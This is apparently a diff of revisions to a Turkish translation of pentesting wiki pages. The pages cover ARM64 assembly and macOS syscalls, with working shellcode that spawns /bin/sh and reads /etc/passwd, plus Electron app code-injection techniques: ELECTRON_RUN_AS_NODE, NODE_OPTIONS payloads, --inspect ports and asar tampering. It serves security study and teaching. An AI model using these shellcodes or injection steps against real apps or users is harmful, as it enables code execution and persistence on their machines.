||||
- **`adrp`**: Bir sembolün **sayfa adresini** hesaplar ve bir kayıtta saklar.
|
||||
- Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar.
|
||||
- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükle ve **64 bit'e imza uzat**.
|
||||
- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e imza uzatır ve `x0`'da saklar.
|
||||
- **`stur`**: Bir kayıt değerini bir bellek konumuna sakla, başka bir kayıttan offset kullanarak.
|
||||
- Örnek: `stur x0, [x1, #4]` — Bu, `x0`'deki değeri `x1`'deki adresten 4 byte daha büyük olan bellek adresine saklar.
|
||||
- **`svc`** : Bir **sistem çağrısı** yap. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna** geçer ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar.
|
||||
- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükler ve **64 bit'e işaret uzatır**.
|
||||
- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e işaret uzatır ve `x0`'da saklar.
|
||||
- **`stur`**: Bir kayıt değerini bir bellek konumuna saklar, başka bir kayıttan bir offset kullanarak.
|
||||
- Örnek: `stur x0, [x1, #4]` — Bu, `x0`'daki değeri `x1`'deki adrese 4 byte ekleyerek saklar.
|
||||
- **`svc`** : Bir **sistem çağrısı** yapar. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar.
|
||||
|
||||
- Örnek:
|
||||
|
||||
@ -231,25 +231,25 @@ svc 0 ; Sistem çağrısını yap.
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar)
|
||||
3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, <size>` (burada `<size>` gereken byte sayısıdır)
|
||||
3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, <size>` (burada `<size>`, gereken byte sayısını ifade eder)
|
||||
|
||||
### **Fonksiyon Epilogü**
|
||||
### **Fonksiyon Epilogu**
|
||||
|
||||
1. **Yerel değişkenleri serbest bırakın (eğer ayrıldıysa)**: `add sp, sp, <size>`
|
||||
2. **Bağlantı kaydını ve çerçeve işaretçisini geri yükleyin**:
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
3. **Return**: `ret` (kontrolü çağırana döndürür, bağlantı kaydındaki adresi kullanarak)
|
||||
3. **Return**: `ret` (kontrolü çağırana geri döner, bağlantı kaydındaki adresi kullanarak)
|
||||
|
||||
## AARCH32 İcra Durumu
|
||||
|
||||
Armv8-A, 32-bit programların çalıştırılmasını destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinde** çalışabilir ve bunlar arasında **`interworking`** ile geçiş yapabilir.\
|
||||
**Yetkili** 64-bit programlar, daha düşük yetkili 32-bit programların **çalıştırılmasını** sağlamak için bir istisna seviyesi transferi gerçekleştirerek programları planlayabilir.\
|
||||
64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlemci iş parçacığı çalıştırılmaya hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünü 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili işlem **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR\*\*'ye bağlı olarak A32 veya T32'ye girer.\*\*
|
||||
**Yetkili** 64-bit programlar, daha düşük yetkili 32-bit'e bir istisna seviyesi transferi gerçekleştirerek **32-bit** programların **çalıştırılmasını** planlayabilir.\
|
||||
64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlem süreci işlenmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **4. bitini** **1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili süreç **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR'ye bağlı olarak A32 veya T32'ye girer.**
|
||||
|
||||
**`interworking`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0`, **`A32`** anlamına gelir; `J=0` ve `T=1`, **T32** anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
|
||||
Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek:
|
||||
Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek:
|
||||
|
||||
Başka bir örnek:
|
||||
```armasm
|
||||
@ -264,7 +264,7 @@ mov r0, #8
|
||||
```
|
||||
### Kayıtlar
|
||||
|
||||
16 adet 32-bit kayıt (r0-r15) vardır. **r0'dan r14'e** kadar olanlar **herhangi bir işlem** için kullanılabilir, ancak bazıları genellikle ayrılmıştır:
|
||||
16 adet 32-bit kayıt (r0-r15) vardır. **r0'dan r14'e** kadar **herhangi bir işlem** için kullanılabilir, ancak bazıları genellikle ayrılmıştır:
|
||||
|
||||
- **`r15`**: Program sayacı (her zaman). Bir sonraki talimatın adresini içerir. A32'de mevcut + 8, T32'de mevcut + 4.
|
||||
- **`r11`**: Çerçeve İşaretçisi
|
||||
@ -272,12 +272,12 @@ mov r0, #8
|
||||
- **`r13`**: Yığın İşaretçisi
|
||||
- **`r14`**: Bağlantı Kaydı
|
||||
|
||||
Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini sağlar.\
|
||||
Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini gerçekleştirmeyi sağlar.\
|
||||
Bu, istisna alındığında işlemci modunun **`CPSR`**'sinden **`SPSR`**'ye işlemci durumunun **kaydedilmesiyle** yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir.
|
||||
|
||||
### CPSR - Mevcut Program Durum Kaydı
|
||||
|
||||
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de de saklanır:
|
||||
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve ayrıca bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de saklanır:
|
||||
|
||||
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -290,9 +290,9 @@ Alanlar bazı gruplara ayrılmıştır:
|
||||
|
||||
- **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'teki gibi)
|
||||
- **`Q`** bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında **tam sayı doygunluğu meydana geldiğinde** 1 olarak ayarlanır. **`1`** olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır.
|
||||
- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatta birden fazla veri noktasını işleme imkanı tanır.
|
||||
- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatla birden fazla veri noktasını işleme imkanı tanır.
|
||||
|
||||
Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** yapıp yapmadığını gösterir.
|
||||
Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** olup olmadığını gösterir.
|
||||
|
||||
**`SEL`** talimatı, koşullu eylemleri gerçekleştirmek için bu GE bayraklarını kullanır.
|
||||
|
||||
@ -305,7 +305,7 @@ Alanlar bazı gruplara ayrılmıştır:
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Belirli istisnalar **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme Taleplerine** (IRQ'lar) yanıt vermek için yapılandırır. F ise **Hızlı Kesme Talepleri** (FIR'lar) ile ilgilidir.
|
||||
- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, harici donanım **Kesme Taleplerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme Talepleri** (FIR'lar) ile ilgilidir.
|
||||
|
||||
## macOS
|
||||
|
||||
@ -317,7 +317,7 @@ Alanlar bazı gruplara ayrılmıştır:
|
||||
|
||||
`mach_trap_table`'ı [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) dosyasında ve prototipleri [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyasında kontrol edin. Mach tuşlarının maksimum sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuşları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
|
||||
|
||||
Bu (ve BSD) syscalls'ı çağırmayı bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz:
|
||||
Bu (ve BSD) syscalls'ı çağırmanın nasıl olduğunu bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
@ -325,10 +325,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
Not edin ki **Ida** ve **Ghidra**, sadece önbelleği geçerek **belirli dylib'leri** decompile edebilir.
|
||||
Not edin ki **Ida** ve **Ghidra**, sadece önbelleği geçerek **belirli dylib'leri** de decompile edebilir.
|
||||
|
||||
> [!TIP]
|
||||
> Bazen **decompile** edilmiş **`libsystem_kernel.dylib`** kodunu kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolaydır çünkü birkaç syscalls'un (BSD ve Mach) kodu scriptler aracılığıyla üretilir (kaynak kodundaki yorumlara bakın) oysa dylib'de neyin çağrıldığını bulabilirsiniz.
|
||||
> Bazen **decompile** edilmiş kodu **`libsystem_kernel.dylib`**'den kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolaydır çünkü birkaç syscalls'un (BSD ve Mach) kodu scriptler aracılığıyla üretilir (kaynak kodundaki yorumlara bakın) oysa dylib'de neyin çağrıldığını bulabilirsiniz.
|
||||
|
||||
### machdep çağrıları
|
||||
|
||||
@ -350,7 +350,7 @@ Parametreler ([belgelerde daha fazla bilgi](https://developer.apple.com/document
|
||||
- x1: op -> Yöntemin seçici
|
||||
- x2... -> Çağrılan yöntemin geri kalan argümanları
|
||||
|
||||
Bu nedenle, bu fonksiyona giden dalın önünde bir breakpoint koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask`'tan bir nesneyi çağırır):
|
||||
Yani, bu fonksiyona giden dalın önünde bir breakpoint koyarsanız, lldb'de kolayca neyin çağrıldığını bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask`'tan bir nesneyi çağırır):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
@ -369,7 +369,7 @@ whoami
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> Ortam değişkenini **`NSObjCMessageLoggingEnabled=1`** olarak ayarlamak, bu fonksiyon çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya kaydetmek mümkündür.
|
||||
> Ortam değişkenini **`NSObjCMessageLoggingEnabled=1`** olarak ayarlayarak, bu fonksiyonun çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya kaydedilmesini sağlamak mümkündür.
|
||||
>
|
||||
> Ayrıca, **`OBJC_HELP=1`** ayarlayarak ve herhangi bir ikili dosyayı çağırarak, belirli Objc-C eylemleri gerçekleştiğinde **log** için kullanabileceğiniz diğer ortam değişkenlerini görebilirsiniz.
|
||||
|
||||
@ -378,17 +378,17 @@ Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan yöntemini bu
|
||||
- İyimser önbellek araması yapın:
|
||||
- Başarılıysa, tamam
|
||||
- runtimeLock (okuma) edin
|
||||
- Eğer (realize && !cls->realized) sınıfı gerçekleştirin
|
||||
- Eğer (initialize && !cls->initialized) sınıfı başlatın
|
||||
- Eğer (realize && !cls->realized) sınıfı gerçekleştir
|
||||
- Eğer (initialize && !cls->initialized) sınıfı başlat
|
||||
- Sınıfın kendi önbelleğini deneyin:
|
||||
- Başarılıysa, tamam
|
||||
- Sınıf yöntem listesini deneyin:
|
||||
- Bulunduysa, önbelleği doldurun ve tamam
|
||||
- Bulunduysa, önbelleği doldur ve tamam
|
||||
- Üst sınıf önbelleğini deneyin:
|
||||
- Başarılıysa, tamam
|
||||
- Üst sınıf yöntem listesini deneyin:
|
||||
- Bulunduysa, önbelleği doldurun ve tamam
|
||||
- Eğer (resolver) yöntem çözücüsünü deneyin ve sınıf aramasından tekrar edin
|
||||
- Bulunduysa, önbelleği doldur ve tamam
|
||||
- Eğer (resolver) yöntem çözücüyü deneyin ve sınıf aramasından tekrar edin
|
||||
- Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi deneyin
|
||||
|
||||
### Shellcodes
|
||||
@ -467,7 +467,7 @@ return 0;
|
||||
|
||||
#### Shell
|
||||
|
||||
[**buradan**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır.
|
||||
[**buradan**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) alındı ve açıklandı.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="adr ile"}}
|
||||
@ -487,7 +487,7 @@ sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="stack ile"}}
|
||||
{{#tab name="with stack"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="linux için adr ile"}}
|
||||
{{#tab name="with adr for linux"}}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
@ -537,9 +537,9 @@ sh_path: .asciz "/bin/sh"
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
#### Cat ile oku
|
||||
#### cat ile oku
|
||||
|
||||
Amaç, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bellekte bu, adreslerin bir yığını anlamına gelir).
|
||||
Amaç `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bu bellek içinde adreslerin bir yığını anlamına gelir).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -565,7 +565,7 @@ cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez.
|
||||
#### Bir fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez.
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
||||
@ -9,15 +9,15 @@ Ve node'un belirtilen dosyanın dışında **başka kodlar çalıştırmak için
|
||||
|
||||
### Electron Füzeleri
|
||||
|
||||
Bu teknikler bir sonraki bölümde tartışılacak, ancak son zamanlarda Electron birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Füzeleri**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'taki Electron uygulamalarının **rastgele kod yüklemesini** **önlemek için** kullanılanlardır:
|
||||
Bu teknikler bir sonraki bölümde tartışılacak, ancak son zamanlarda Electron birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Füzeleri**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'taki Electron uygulamalarının **rastgele kod yüklemesini önlemek için** kullanılanlardır:
|
||||
|
||||
- **`RunAsNode`**: Devre dışı bırakıldığında, kod enjeksiyonu için **`ELECTRON_RUN_AS_NODE`** env değişkeninin kullanılmasını engeller.
|
||||
- **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmayacaktır. Bu şekilde kod enjeksiyonunu önler.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirildiğinde, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanacaktır**. Bu şekilde bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** **önler**.
|
||||
- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve son olarak **`default_app.asar`**. Sadece app.asar'yı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile **birleştirildiğinde** **doğrulanmamış kodun yüklenmesi** **imkansız** hale gelecektir.
|
||||
- **`RunAsNode`**: Devre dışı bırakıldığında, kod enjekte etmek için **`ELECTRON_RUN_AS_NODE`** env değişkeninin kullanılmasını engeller.
|
||||
- **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmayacaktır. Bu şekilde kod enjekte etmenin önüne geçilir.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirildiğinde, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanacaktır**. Bu şekilde bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** önler.
|
||||
- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve en son **`default_app.asar`**. Sadece app.asar'ı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile birleştirildiğinde **doğrulanmamış kodun yüklenmesi imkansız** hale gelir.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinleştirildiğinde, tarayıcı süreci V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır.
|
||||
|
||||
Kod enjeksiyonunu önlemeyecek başka ilginç bir fuse ise:
|
||||
Kod enjeksiyonunu önlemeyecek başka ilginç bir füze:
|
||||
|
||||
- **EnableCookieEncryption**: Etkinleştirildiğinde, disk üzerindeki çerez deposu OS düzeyinde kriptografi anahtarları kullanılarak şifrelenir.
|
||||
|
||||
@ -46,15 +46,15 @@ In macOS applications this is typically in `application.app/Contents/Frameworks/
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin ardından, her bir sigortanın devre dışı mı yoksa etkin mi olduğunu gösteren ASCII'de "0" veya "1" sayısını görebilirsiniz. **Sigorta değerlerini değiştirmek için** hex kodunu (`0x30` `0` ve `0x31` `1`'dir) değiştirin.
|
||||
Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizeden sonra, her bir sigortanın devre dışı mı yoksa etkin mi olduğunu gösteren ASCII'de "0" veya "1" sayısını görebilirsiniz. **Sigorta değerlerini değiştirmek için** hex kodunu (`0x30` `0` ve `0x31` `1`'dir) değiştirin.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer bu baytları değiştirilmiş olarak bir uygulamanın **`Electron Framework`** ikili dosyasını **üst üste yazmaya** çalışırsanız, uygulama çalışmayacaktır.
|
||||
Eğer bu baytları değiştirilmiş **`Electron Framework` ikili dosyasını** bir uygulamanın içine **overwrite** etmeye çalışırsanız, uygulama çalışmayacaktır.
|
||||
|
||||
## RCE, Electron Uygulamalarına Kod Ekleme
|
||||
## RCE Electron Uygulamalarına Kod Ekleme
|
||||
|
||||
Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan, imzasının kontrol edilmeyeceği bu dosyalara kod enjekte edebilir ve uygulama bağlamında rastgele kod çalıştırabilir.
|
||||
Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve uygulama bağlamında rastgele kod çalıştırabilir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ancak, şu anda 2 sınırlama vardır:
|
||||
@ -62,9 +62,9 @@ Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabili
|
||||
> - Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** izni **gerekir**, bu nedenle varsayılan olarak bu artık mümkün değildir.
|
||||
> - Derlenmiş **`asap`** dosyası genellikle **`embeddedAsarIntegrityValidation`** `ve` **`onlyLoadAppFromAsar`** sigortalarını `etkin` olarak içerir.
|
||||
>
|
||||
> Bu da bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
|
||||
> Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
|
||||
|
||||
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **zararlı** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak atlatmanın mümkün olduğunu unutmayın.
|
||||
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini aşmanın mümkün olduğunu unutmayın; uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'ı **`app.app/NotCon`** olarak yeniden adlandırarak, **kötü niyetli** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak yeniden adlandırarak ve çalıştırarak bunu yapabilirsiniz.
|
||||
|
||||
Asar dosyasından kodu çıkarmak için:
|
||||
```bash
|
||||
@ -74,9 +74,9 @@ Ve değiştirdikten sonra tekrar paketleyin:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
## RCE with ELECTRON_RUN_AS_NODE
|
||||
|
||||
[**Belgeler**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node)'e göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır.
|
||||
According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır.
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Eğer **`RunAsNode`** sigortası devre dışı bırakılırsa, env var **`ELECTRON_RUN_AS_NODE`** göz ardı edilecek ve bu çalışmayacaktır.
|
||||
> Eğer **`RunAsNode`** sigortası devre dışı bırakılırsa, env değişkeni **`ELECTRON_RUN_AS_NODE`** göz ardı edilecek ve bu çalışmayacaktır.
|
||||
|
||||
### Uygulama Plist'inden Enjeksiyon
|
||||
|
||||
@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama **NODE_OPTIONS** ortam değişkenini başlatıldığında **yoksayacaktır**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **devre dışı** bırakılmışsa **yoksayılacaktır**.
|
||||
> Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama **NODE_OPTIONS** ortam değişkenini başlatıldığında **yoksayacaktır**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmadıysa, bu da sigorta **`RunAsNode`** devre dışı bırakılmışsa **yoksayılacaktır**.
|
||||
>
|
||||
> Eğer **`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, **hata** ile karşılaşacaksınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
@ -147,19 +147,227 @@ Bu ortam değişkenini bir plist içinde kötüye kullanarak kalıcılığı sa
|
||||
```
|
||||
## RCE ile inceleme
|
||||
|
||||
According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), eğer **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla bir Electron uygulaması çalıştırırsanız, **bir debug portu açılacaktır** böylece ona bağlanabilirsiniz (örneğin `chrome://inspect` üzerinden Chrome'dan) ve **ona kod enjekte edebilir** veya hatta yeni süreçler başlatabilirsiniz.\
|
||||
According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\
|
||||
For example:
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama **node parametrelerini** (örneğin `--inspect`) başlatıldığında **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa.
|
||||
>
|
||||
